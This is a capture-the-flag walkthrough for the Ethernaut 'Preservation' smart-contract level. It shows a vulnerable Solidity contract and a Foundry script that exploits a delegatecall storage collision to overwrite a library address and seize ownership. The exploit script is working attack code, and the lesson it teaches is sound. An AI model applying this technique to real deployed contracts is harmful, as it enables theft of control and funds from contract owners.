This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
The goal of this level is for you to claim ownership of the instance you are given.
Things that might help
Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
Understanding what it means for delegatecall to be context-preserving.
Understanding how storage variables are stored and accessed.
Understanding how casting works between different data types.
Level Contract
// SPDX-License-Identifier: MITpragmasolidity ^0.8.0;contract Preservation {// public library contractsaddresspublic timeZone1Library;addresspublic timeZone2Library;addresspublic owner;uint256 storedTime;// Sets the function signature for delegatecallbytes4constant setTimeSignature =bytes4(keccak256("setTime(uint256)"));constructor(address_timeZone1LibraryAddress,address_timeZone2LibraryAddress) { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; }// set the time for timezone 1functionsetFirstTime(uint256_timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); }// set the time for timezone 2functionsetSecondTime(uint256_timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); }}// Simple library contract to set the timecontract LibraryContract {// stores a timestampuint256 storedTime;functionsetTime(uint256_time) public { storedTime = _time; }}
// SPDX-License-Identifier: MITpragmasolidity ^0.8.0;import {Script, console} from"forge-std/Script.sol";import {HelperFunctions} from"script/HelperFunctions.s.sol";import {AttackContract} from"../src/Level16.sol";// ================================================================// │ LEVEL 16 - PRESERVATION │// ================================================================interface IPreservation {functionsetFirstTime(uint256_timeStamp) external;}contractExploitisScript, HelperFunctions {functionrun() public {address targetContractAddress =getInstanceAddress(); IPreservation preservation =IPreservation(targetContractAddress); vm.startBroadcast(); AttackContract attackContract =newAttackContract();// Set the timeZone1Library to the address of the AttackContract preservation.setFirstTime(uint256(uint160(address(attackContract))));// Call the setFirstTime function again but this time it will delegate to the attackContract// which will set the owner to the msg.sender preservation.setFirstTime(1); vm.stopBroadcast(); }}
Submit instance... 🥳
Completion Message
As the previous level, delegate mentions, the use of delegatecall to call libraries can be risky. This is particularly true for contract libraries that have their own state. This example demonstrates why the library keyword should be used for building libraries, as it prevents the libraries from storing and accessing state variables.